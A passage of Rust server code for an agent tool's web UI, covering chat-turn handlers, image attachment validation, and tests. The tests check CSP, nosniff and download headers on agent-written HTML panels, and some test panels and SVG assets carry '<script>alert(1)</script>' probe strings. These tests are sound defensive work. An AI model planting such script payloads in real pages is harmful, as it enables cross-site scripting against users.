3353 let ui = Arc::clone(&ui);
3354 let asked = id.clone();
3355 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3356 };
3357 {
3361 let ui = Arc::clone(&ui);
3362 let id = id.clone();
3363 blocking(move || {
3364 let talk = ui.talks.get(&id)?;
3365 if !talk.status.open() {
3366 return Err(ApiError::conflict(format!(
3367 "talk {} is {} and takes no more turns",
3368 talk.short(),
3369 talk.status.as_str()
3370 )));
3371 }
3372 Ok(())
3373 })
3374 .await?;
3375 }
3376
3377 let attachments = {
3382 let ui = Arc::clone(&ui);
3383 let id = id.clone();
3384 let ids = body.attachments.clone();
3385 blocking(move || {
3386 ids.into_iter()
3387 .map(|att_id| {
3388 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3389 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3390 })
3391 })
3392 .collect::<ApiResult<Vec<talk::Attachment>>>()
3393 })
3394 .await?
3395 };
3396
3397 let start = {
3402 let ui = Arc::clone(&ui);
3403 let id = id.clone();
3404 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3405 };
3406 let turn_guard = match start {
3407 TalkTurnStart::Claimed(turn_guard) => turn_guard,
3408 TalkTurnStart::Pending => {
3409 return Err(ApiError::conflict(
3410 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3411 ));
3412 }
3413 TalkTurnStart::Busy => {
3414 let (view, reclaimed) = {
3417 let ui = Arc::clone(&ui);
3418 let id = id.clone();
3419 let said = body.text.clone();
3420 blocking(move || {
3421 let mut talk = ui.talks.get(&id)?;
3422 if let Err(error) = talk::queue(&mut talk, &ui.talks, &said, attachments) {
3423 if let Ok(fresh) = ui.talks.get(&id) {
3424 if !fresh.status.open() {
3425 return Err(ApiError::conflict(format!(
3426 "talk {} is {} and takes no more turns",
3427 fresh.short(),
3428 fresh.status.as_str()
3429 )));
3430 }
3431 }
3432 return Err(ApiError::from(error));
3433 }
3434 let claim = match ui.begin_queued_talk_turn(&id)? {
3444 Some(turn_guard) => {
3445 let (cfg, _) = Config::discover(&talk.repo, None)?;
3446 Some((talk.clone(), cfg, turn_guard))
3447 }
3448 None => None,
3449 };
3450 let thinking = ui.is_thinking(&id);
3451 Ok((TalkView::new(talk, thinking), claim))
3452 })
3453 .await?
3454 };
3455 if let Some((talk, cfg, turn_guard)) = reclaimed {
3456 let talks = ui.talks.clone();
3457 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3458 }
3459 return Ok((StatusCode::ACCEPTED, Json(view)));
3460 }
3461 };
3462
3463 let (talk, cfg) = {
3464 let ui = Arc::clone(&ui);
3465 let id = id.clone();
3466 blocking(move || {
3467 let talk = ui.talks.get(&id)?;
3468 let (cfg, _) = Config::discover(&talk.repo, None)?;
3469 Ok((talk, cfg))
3470 })
3471 .await?
3472 };
3473
3474 let talks = ui.talks.clone();
3475 let text = {
3476 let mut talk = talk.clone();
3477 let talks = talks.clone();
3478 let said = body.text.clone();
3479 blocking(move || {
3480 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3481 if let Ok(fresh) = talks.get(&talk.id) {
3482 if !fresh.status.open() {
3483 return Err(ApiError::conflict(format!(
3484 "talk {} is {} and takes no more turns",
3485 fresh.short(),
3486 fresh.status.as_str()
3487 )));
3488 }
3489 }
3490 return Err(ApiError::from(error));
3491 }
3492 Ok(said.trim().to_owned())
3493 })
3494 .await?
3495 };
3496 let talk = {
3499 let ui = Arc::clone(&ui);
3500 let id = id.clone();
3501 blocking(move || Ok(ui.talks.get(&id)?)).await?
3502 };
3503 let queued = talk.clone();
3504 let thinking = ui.is_thinking(&id);
3505 tokio::spawn(async move {
3506 let mut talk = talk;
3507 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3508 tracing::warn!("talk {id} turn failed: {e:#}");
3511 }
3512 drain_loop(talk, talks, cfg, id, turn_guard).await;
3515 });
3516
3517 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3519}
3520
3521async fn talk_pending_resume(
3525 State(ui): State<Arc<Ui>>,
3526 Path(id): Path<String>,
3527) -> ApiResult<(StatusCode, Json<TalkView>)> {
3528 let id = {
3529 let ui = Arc::clone(&ui);
3530 let asked = id.clone();
3531 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3532 };
3533 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3534 return Err(ApiError::conflict(
3535 "a talk turn is already running; the queued draft will be handled by it",
3536 ));
3537 };
3538 let (talk, cfg) = {
3539 let ui = Arc::clone(&ui);
3540 let id = id.clone();
3541 blocking(move || {
3542 let talk = ui.talks.get(&id)?;
3543 if !talk.status.open() {
3544 return Err(ApiError::conflict(format!(
3545 "talk {} is {} and takes no more turns",
3546 talk.short(),
3547 talk.status.as_str()
3548 )));
3549 }
3550 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3551 return Err(ApiError::conflict("there is no queued draft to resume"));
3552 }
3553 let (cfg, _) = Config::discover(&talk.repo, None)?;
3554 Ok((talk, cfg))
3555 })
3556 .await?
3557 };
3558 let view = TalkView::new(talk.clone(), true);
3559 let talks = ui.talks.clone();
3560 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3561 Ok((StatusCode::ACCEPTED, Json(view)))
3562}
3563
3564async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3580 let live_set = Arc::clone(&turn.turns);
3581 let mut turn = Some(turn);
3589 loop {
3590 let observed = live_set
3594 .lock()
3595 .unwrap_or_else(PoisonError::into_inner)
3596 .queued
3597 .get(&id)
3598 .copied()
3599 .unwrap_or(0);
3600 let drained = blocking({
3601 let talks = talks.clone();
3602 move || {
3603 let result = talk::drain(&mut talk, &talks);
3604 Ok((talk, result))
3605 }
3606 })
3607 .await;
3608 let (next_talk, result) = match drained {
3609 Ok(drained) => drained,
3610 Err(e) => {
3611 tracing::warn!(
3612 status = %e.status,
3613 message = %e.message,
3614 "talk {id} could not start queued-text drain"
3615 );
3616 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3617 turn.take()
3618 .expect("held for the whole loop until released here")
3619 .release(&mut live);
3620 break;
3621 }
3622 };
3623 talk = next_talk;
3624 let drained = match result {
3625 Ok(Some(drained)) => drained,
3626 Ok(None) => {
3627 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3628 if live.queued.get(&id).copied().unwrap_or(0) != observed {
3629 continue;
3630 }
3631 turn.take()
3632 .expect("held for the whole loop until released here")
3633 .release(&mut live);
3634 break;
3635 }
3636 Err(e) => {
3637 tracing::warn!("talk {id} could not drain queued text: {e:#}");
3638 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3639 turn.take()
3640 .expect("held for the whole loop until released here")
3641 .release(&mut live);
3642 break;
3643 }
3644 };
3645 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3646 tracing::warn!("talk {id} turn failed: {e:#}");
3647 }
3648 }
3649}
3650
3651async fn talk_pending_clear(
3653 State(ui): State<Arc<Ui>>,
3654 Path(id): Path<String>,
3655 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3656) -> ApiResult<Json<TalkView>> {
3657 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3658 blocking(move || {
3659 let id = resolve_talk(&ui.talks, &id)?;
3660 let mut talk = ui.talks.get(&id)?;
3661 if !talk.status.open() {
3662 return Err(ApiError::conflict(format!(
3663 "talk {} is {} and takes no more turns",
3664 talk.short(),
3665 talk.status.as_str()
3666 )));
3667 }
3668 if !talk::clear_pending_if_matches(
3669 &mut talk,
3670 &ui.talks,
3671 &body.expected_text,
3672 &body.expected_attachments,
3673 )? {
3674 return Err(ApiError::conflict(
3675 "queued message changed; reload it before clearing",
3676 ));
3677 }
3678 let thinking = ui.is_thinking(&talk.id);
3679 Ok(Json(TalkView::new(talk, thinking)))
3680 })
3681 .await
3682}
3683
3684async fn talk_pending_edit(
3688 State(ui): State<Arc<Ui>>,
3689 Path(id): Path<String>,
3690 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3691) -> ApiResult<Json<TalkView>> {
3692 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3693 let (view, reclaimed) = blocking({
3694 let ui = Arc::clone(&ui);
3695 move || {
3696 let id = resolve_talk(&ui.talks, &id)?;
3697 let mut talk = ui.talks.get(&id)?;
3698 if !talk.status.open() {
3699 return Err(ApiError::conflict(format!(
3700 "talk {} is {} and takes no more turns",
3701 talk.short(),
3702 talk.status.as_str()
3703 )));
3704 }
3705 if !talk::edit_pending_text(
3706 &mut talk,
3707 &ui.talks,
3708 &body.text,
3709 &body.expected_text,
3710 &body.expected_attachments,
3711 )? {
3712 return Err(ApiError::conflict(
3713 "queued message changed; reload it before editing",
3714 ));
3715 }
3716 let claim = match ui.begin_queued_talk_turn(&id)? {
3717 Some(turn_guard) => {
3718 let (cfg, _) = Config::discover(&talk.repo, None)?;
3719 Some((talk.clone(), cfg, id.clone(), turn_guard))
3720 }
3721 None => None,
3722 };
3723 let thinking = ui.is_thinking(&id);
3724 Ok((TalkView::new(talk, thinking), claim))
3725 }
3726 })
3727 .await?;
3728 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
3729 let talks = ui.talks.clone();
3730 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3731 }
3732 Ok(Json(view))
3733}
3734
3735async fn talk_close(
3737 State(ui): State<Arc<Ui>>,
3738 Path(id): Path<String>,
3739) -> ApiResult<Json<TalkView>> {
3740 blocking(move || {
3741 let id = resolve_talk(&ui.talks, &id)?;
3742 let mut talk = ui.talks.get(&id)?;
3743 talk::close(&mut talk, &ui.talks)?;
3744 let thinking = ui.is_thinking(&talk.id);
3745 Ok(Json(TalkView::new(talk, thinking)))
3746 })
3747 .await
3748}
3749
3750async fn talk_reopen(
3752 State(ui): State<Arc<Ui>>,
3753 Path(id): Path<String>,
3754) -> ApiResult<Json<TalkView>> {
3755 blocking(move || {
3756 let id = resolve_talk(&ui.talks, &id)?;
3757 let mut talk = ui.talks.get(&id)?;
3758 talk::reopen(&mut talk, &ui.talks)?;
3759 let thinking = ui.is_thinking(&talk.id);
3760 Ok(Json(TalkView::new(talk, thinking)))
3761 })
3762 .await
3763}
3764
3765async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3775 blocking(move || {
3776 let id = resolve_talk(&ui.talks, &id)?;
3777 ui.talks.remove(&id)?;
3778 Ok(StatusCode::NO_CONTENT)
3779 })
3780 .await
3781}
3782
3783fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3785 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3786}
3787
3788async fn talk_attachment_post(
3791 State(ui): State<Arc<Ui>>,
3792 Path(id): Path<String>,
3793 headers: HeaderMap,
3794 body: Bytes,
3795) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
3796 let mime = validate_attachment(&headers, &body)?;
3797 let name = filename_header(&headers);
3798 let data = body.to_vec();
3799 blocking(move || {
3800 let id = resolve_talk(&ui.talks, &id)?;
3801 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
3802 Ok((StatusCode::CREATED, Json(att)))
3803 })
3804 .await
3805}
3806
3807async fn talk_attachment_get(
3810 State(ui): State<Arc<Ui>>,
3811 Path((id, att)): Path<(String, String)>,
3812) -> ApiResult<Response> {
3813 blocking(move || {
3814 let id = resolve_talk(&ui.talks, &id)?;
3815 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
3816 return Err(ApiError::not_found(format!(
3817 "talk {id} has no attachment `{att}`"
3818 )));
3819 };
3820 Ok(attachment_response(&meta.mime, data))
3821 })
3822 .await
3823}
3824
3825fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
3836 if data.len() > ATTACHMENT_MAX_BYTES {
3837 return Err(ApiError::bad_request(format!(
3838 "attachment is {} bytes, over the {} MiB limit",
3839 data.len(),
3840 ATTACHMENT_MAX_BYTES / (1024 * 1024)
3841 ))
3842 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
3843 }
3844 if data.is_empty() {
3845 return Err(ApiError::bad_request("attachment is empty"));
3846 }
3847 let declared = declared_mime(headers)?;
3848 match sniffed_mime(data) {
3849 Some(sniffed) if sniffed == declared => Ok(declared),
3850 Some(sniffed) => Err(ApiError::bad_request(format!(
3851 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
3852 ))),
3853 None => Err(ApiError::bad_request(
3854 "the file's bytes do not match any accepted image format",
3855 )),
3856 }
3857}
3858
3859fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
3863 let raw = headers
3864 .get(header::CONTENT_TYPE)
3865 .and_then(|v| v.to_str().ok())
3866 .unwrap_or("")
3867 .split(';')
3868 .next()
3869 .unwrap_or("")
3870 .trim()
3871 .to_ascii_lowercase();
3872 ATTACHMENT_MIME_WHITELIST
3873 .iter()
3874 .find(|&&m| m == raw)
3875 .copied()
3876 .ok_or_else(|| {
3877 if raw == "image/svg+xml" {
3878 ApiError::bad_request(
3879 "SVG is not accepted: it can carry active content (e.g. a <script>), \
3880 not just a picture",
3881 )
3882 } else if raw.is_empty() {
3883 ApiError::bad_request("Content-Type is required for an attachment upload")
3884 } else {
3885 ApiError::bad_request(format!(
3886 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
3887 image/gif or image/webp"
3888 ))
3889 }
3890 })
3891}
3892
3893fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
3896 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
3897 Some("image/png")
3898 } else if data.starts_with(b"\xff\xd8\xff") {
3899 Some("image/jpeg")
3900 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
3901 Some("image/gif")
3902 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
3903 Some("image/webp")
3904 } else {
3905 None
3906 }
3907}
3908
3909fn filename_header(headers: &HeaderMap) -> String {
3915 headers
3916 .get(FILENAME_HEADER)
3917 .and_then(|v| v.to_str().ok())
3918 .map(str::trim)
3919 .filter(|s| !s.is_empty())
3920 .unwrap_or("attachment")
3921 .to_owned()
3922}
3923
3924fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
3931 let content_type = ATTACHMENT_MIME_WHITELIST
3932 .iter()
3933 .find(|&&m| m == mime)
3934 .copied()
3935 .unwrap_or("application/octet-stream");
3936 (
3937 [
3938 (header::CONTENT_TYPE, content_type),
3939 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3940 ],
3941 body,
3942 )
3943 .into_response()
3944}
3945
3946async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3954 let repo = repo.to_path_buf();
3955 blocking(move || {
3956 let (cfg, _) = Config::discover(&repo, None)?;
3957 Ok(cfg)
3958 })
3959 .await
3960}
3961
3962fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3968 let mut hits = ids
3969 .into_iter()
3970 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3971 match (hits.next(), hits.next()) {
3972 (Some(one), None) => Ok(one),
3973 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3974 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3975 "`{prefix}` matches more than one {what}, including {a} and {b}"
3976 ))),
3977 }
3978}
3979
3980#[cfg(test)]
3981mod tests {
3982 use pretty_assertions::assert_eq;
3983 use serde_json::Value;
3984 use tempfile::TempDir;
3985 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3986
3987 use super::*;
3988 use crate::config::Config;
3989 use crate::queue::{Source, TaskStatus};
3990
3991 struct Fixture {
3997 home: TempDir,
3998 addr: SocketAddr,
3999 }
4000
4001 impl Fixture {
4002 async fn start() -> Self {
4003 Self::with_loop(launch_idle).await
4004 }
4005
4006 async fn with_loop(launch: Launch) -> Self {
4008 let home = TempDir::new().expect("temp home");
4009 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4010 Self { home, addr }
4011 }
4012
4013 async fn with_repo(repo: PathBuf) -> Self {
4017 let home = TempDir::new().expect("temp home");
4018 let addr = Self::serve(home.path(), repo, launch_idle).await;
4019 Self { home, addr }
4020 }
4021
4022 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4023 let queue = Queue::at(home.join("queue"));
4024 let runs = home.join("runs");
4025 std::fs::create_dir_all(&runs).expect("runs dir");
4026 let worktrees = home.join("wt").join("magi");
4027 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4028 let ui = Ui::new(
4029 queue,
4030 Questions::at(home.join("questions")),
4031 Talks::at(home.join("talks")),
4032 runs,
4033 home.to_path_buf(),
4034 repo,
4035 )
4036 .with_worktrees_root(worktrees)
4037 .with_launch(launch);
4038 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4039 .await
4040 .expect("bind loopback");
4041 let addr = listener.local_addr().expect("local addr");
4042 tokio::spawn(async move {
4043 let _ = axum::serve(listener, ui.router()).await;
4044 });
4045 addr
4046 }
4047
4048 fn queue(&self) -> Queue {
4049 Queue::at(self.home.path().join("queue"))
4050 }
4051
4052 fn questions(&self) -> Questions {
4053 Questions::at(self.home.path().join("questions"))
4054 }
4055
4056 fn talks(&self) -> Talks {
4057 Talks::at(self.home.path().join("talks"))
4058 }
4059
4060 fn runs(&self) -> PathBuf {
4061 self.home.path().join("runs")
4062 }
4063
4064 async fn get(&self, path: &str) -> Res {
4065 request(self.addr, "GET", path, None).await
4066 }
4067
4068 async fn head(&self, path: &str) -> Res {
4073 request(self.addr, "HEAD", path, None).await
4074 }
4075
4076 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4077 request(self.addr, "POST", path, body).await
4078 }
4079
4080 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4081 request_with(self.addr, "GET", path, None, extra).await
4082 }
4083
4084 async fn delete(&self, path: &str) -> Res {
4085 request(self.addr, "DELETE", path, None).await
4086 }
4087
4088 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4090 request_bytes(self.addr, path, headers, body).await
4091 }
4092 }
4093
4094 struct Res {
4095 status: u16,
4096 headers: String,
4097 head: String,
4102 body: String,
4103 bytes: Vec<u8>,
4107 }
4108
4109 impl Res {
4110 fn json(&self) -> Value {
4111 serde_json::from_str(&self.body)
4112 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4113 }
4114
4115 fn header(&self, name: &str) -> Option<&str> {
4117 self.head.lines().find_map(|line| {
4118 let (key, value) = line.split_once(':')?;
4119 key.trim()
4120 .eq_ignore_ascii_case(name)
4121 .then(|| value.trim_start().trim_end_matches('\r'))
4122 })
4123 }
4124 }
4125
4126 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4129 request_with(addr, method, path, body, &[]).await
4130 }
4131
4132 async fn request_with(
4136 addr: SocketAddr,
4137 method: &str,
4138 path: &str,
4139 body: Option<&str>,
4140 extra: &[(&str, &str)],
4141 ) -> Res {
4142 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4143 for (name, value) in extra {
4144 head.push_str(&format!("{name}: {value}\r\n"));
4145 }
4146 if let Some(body) = body {
4147 head.push_str("Content-Type: application/json\r\n");
4148 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4149 }
4150 head.push_str("\r\n");
4151 if let Some(body) = body {
4152 head.push_str(body);
4153 }
4154 let mut socket = tokio::net::TcpStream::connect(addr)
4155 .await
4156 .expect("connect to the test server");
4157 socket
4158 .write_all(head.as_bytes())
4159 .await
4160 .expect("write request");
4161 let mut raw = Vec::new();
4162 socket.read_to_end(&mut raw).await.expect("read response");
4163 let split = raw
4166 .windows(4)
4167 .position(|w| w == b"\r\n\r\n")
4168 .expect("a header block");
4169 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4170 let bytes = raw[split + 4..].to_vec();
4171 let status = head
4172 .lines()
4173 .next()
4174 .and_then(|line| line.split_whitespace().nth(1))
4175 .and_then(|code| code.parse().ok())
4176 .expect("a status line");
4177 Res {
4178 status,
4179 headers: head.to_lowercase(),
4180 head,
4181 body: String::from_utf8_lossy(&bytes).into_owned(),
4182 bytes,
4183 }
4184 }
4185
4186 async fn request_bytes(
4192 addr: SocketAddr,
4193 path: &str,
4194 headers: &[(&str, &str)],
4195 body: &[u8],
4196 ) -> Res {
4197 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4198 for (name, value) in headers {
4199 head.push_str(&format!("{name}: {value}\r\n"));
4200 }
4201 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4202 let mut socket = tokio::net::TcpStream::connect(addr)
4203 .await
4204 .expect("connect to the test server");
4205 socket
4206 .write_all(head.as_bytes())
4207 .await
4208 .expect("write request head");
4209 socket.write_all(body).await.expect("write request body");
4210 let mut raw = Vec::new();
4211 socket.read_to_end(&mut raw).await.expect("read response");
4212 let split = raw
4213 .windows(4)
4214 .position(|w| w == b"\r\n\r\n")
4215 .expect("a header block");
4216 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4217 let bytes = raw[split + 4..].to_vec();
4218 let status = head
4219 .lines()
4220 .next()
4221 .and_then(|line| line.split_whitespace().nth(1))
4222 .and_then(|code| code.parse().ok())
4223 .expect("a status line");
4224 Res {
4225 status,
4226 headers: head.to_lowercase(),
4227 head,
4228 body: String::from_utf8_lossy(&bytes).into_owned(),
4229 bytes,
4230 }
4231 }
4232
4233 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4235 let mut state = RunState::new(
4236 PathBuf::from("/repo/magi"),
4237 "main".to_owned(),
4238 "0123456789abcdef".to_owned(),
4239 "Add a web UI\n\nMobile first.".to_owned(),
4240 Config::default(),
4241 );
4242 state.id = id.to_owned();
4243 state.status = status;
4244 let dir = runs.join(id);
4245 std::fs::create_dir_all(&dir).expect("run dir");
4246 std::fs::write(
4247 dir.join("run.json"),
4248 serde_json::to_string_pretty(&state).expect("serialize run"),
4249 )
4250 .expect("write run.json");
4251 }
4252
4253 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4254 let body = serde_json::json!({
4255 "schema": 1,
4256 "pid": 4242,
4257 "started_at": Timestamp::now().to_string(),
4258 "updated_at": updated_at.to_string(),
4259 "idle": false,
4260 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4261 "completed": 7,
4262 "polls": 143,
4263 });
4264 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4265 }
4266
4267 fn launch_idle(
4277 _opts: daemon::Opts,
4278 stop: daemon::Stop,
4279 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4280 Box::pin(async move {
4281 while !stop.stopped() {
4282 tokio::time::sleep(Duration::from_millis(2)).await;
4283 }
4284 Ok(())
4285 })
4286 }
4287
4288 fn launch_broken(
4291 _opts: daemon::Opts,
4292 _stop: daemon::Stop,
4293 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4294 Box::pin(async {
4295 Err(anyhow::anyhow!(
4296 "publish the daemon status file: read-only file system"
4297 ))
4298 })
4299 }
4300
4301 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4308 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4309
4310 fn launch_knocking_on_the_way_out(
4317 _opts: daemon::Opts,
4318 stop: daemon::Stop,
4319 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4320 Box::pin(async move {
4321 while !stop.stopped() {
4322 tokio::time::sleep(Duration::from_millis(2)).await;
4323 }
4324 let addr = PARK_KNOCK
4325 .lock()
4326 .expect("park knock")
4327 .expect("the test set an address");
4328 let heard = request(addr, "GET", "/api/health", None).await.status;
4329 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4330 Ok(())
4331 })
4332 }
4333
4334 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4342 for _ in 0..200 {
4343 let view = fx.get("/api/loop").await.json();
4344 if want(&view) {
4345 return view;
4346 }
4347 tokio::time::sleep(Duration::from_millis(10)).await;
4348 }
4349 panic!(
4350 "the loop never settled: {}",
4351 fx.get("/api/loop").await.json()
4352 );
4353 }
4354
4355 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4357 let store = fx.questions();
4358 let mut q = Question::new(
4359 "20260902-000000-beef".to_owned(),
4360 "implement".to_owned(),
4361 "impl-A".to_owned(),
4362 summary.to_owned(),
4363 "because it matters".to_owned(),
4364 choices.iter().map(|c| (*c).to_owned()).collect(),
4365 );
4366 store.put(&mut q).expect("put question");
4367 q.id
4368 }
4369
4370 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4376 let store = fx.questions();
4377 let mut q = Question::new(
4378 "20260902-000000-beef".to_owned(),
4379 "land".to_owned(),
4380 "fix".to_owned(),
4381 "Merge this?".to_owned(),
4382 "the diff is in the panel".to_owned(),
4383 vec!["merge".to_owned(), "hold".to_owned()],
4384 );
4385 let staging = fx.home.path().join("staging");
4388 std::fs::create_dir_all(&staging).expect("staging dir");
4389 let sources: Vec<PathBuf> = assets
4390 .iter()
4391 .map(|(name, bytes)| {
4392 let path = staging.join(name);
4393 std::fs::write(&path, bytes).expect("write staged asset");
4394 path
4395 })
4396 .collect();
4397 store
4398 .put_panel(&mut q, html, &sources)
4399 .expect("write the panel");
4400 store.put(&mut q).expect("put question");
4401 q.id
4402 }
4403
4404 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4413 let store = fx.talks();
4414 std::fs::create_dir_all(store.root()).expect("talks dir");
4415 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4416 .expect("serialize a seat");
4417 let body = serde_json::json!({
4418 "schema": 1,
4419 "id": id,
4420 "repo": "/repo/magi",
4421 "agent": "mock",
4422 "status": status,
4423 "turns": [],
4424 "created_at": Timestamp::now().to_string(),
4425 "updated_at": Timestamp::now().to_string(),
4426 "seat": seat,
4427 });
4428 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4429 store.get(id).expect("the seeded talk has to be readable");
4430 id.to_owned()
4431 }
4432
4433 #[tokio::test]
4434 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4435 let fx = Fixture::start().await;
4436 let id = panel(
4437 &fx,
4438 "<h1>Merge?</h1><img src=\"diff.svg\">",
4439 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4440 );
4441
4442 for path in [
4443 format!("/api/questions/{id}/panel"),
4444 format!("/api/questions/{id}/asset/diff.svg"),
4445 ] {
4446 let res = fx.get(&path).await;
4447 assert_eq!(res.status, 200, "{path}: {}", res.body);
4448 assert_eq!(
4454 res.header("content-security-policy"),
4455 Some(
4456 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4457 font-src data:; base-uri 'none'; form-action 'none'; \
4458 frame-ancestors 'self'"
4459 ),
4460 "{path} is the only thing between a hostile panel and the tailnet"
4461 );
4462 assert_eq!(
4463 res.header("x-content-type-options"),
4464 Some("nosniff"),
4465 "{path}: a browser must not re-decide the type we sent"
4466 );
4467 assert_eq!(
4468 res.header("referrer-policy"),
4469 Some("no-referrer"),
4470 "{path}: a panel must not leak the question id off the machine"
4471 );
4472
4473 let pre = fx.head(&path).await;
4478 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4479 assert_eq!(
4480 pre.header("content-security-policy"),
4481 res.header("content-security-policy"),
4482 "{path}: the preflight carries the same policy"
4483 );
4484 assert_eq!(
4485 pre.header("content-type"),
4486 res.header("content-type"),
4487 "{path}: the preflight carries the same type"
4488 );
4489 }
4490 }
4491
4492 #[tokio::test]
4493 async fn a_panel_reaches_the_browser_byte_for_byte() {
4494 let fx = Fixture::start().await;
4495 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4500 let id = panel(&fx, html, &[]);
4501
4502 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4503
4504 assert_eq!(res.status, 200);
4505 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4506 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4507 assert_eq!(
4508 res.header("content-disposition"),
4509 None,
4510 "the panel itself is rendered in the frame, not downloaded"
4511 );
4512 }
4513
4514 #[tokio::test]
4515 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4516 let fx = Fixture::start().await;
4517 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4518 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4519 let id = panel(
4520 &fx,
4521 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4522 &[("diff.svg", svg), ("shot.png", png)],
4523 );
4524
4525 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4526 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4527
4528 assert_eq!(as_svg.status, 200);
4529 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4530 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4535
4536 assert_eq!(as_png.status, 200);
4537 assert_eq!(as_png.header("content-type"), Some("image/png"));
4538 assert_eq!(
4539 as_png.header("content-disposition"),
4540 None,
4541 "a raster image has no execution surface, so tapping it still shows it"
4542 );
4543 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
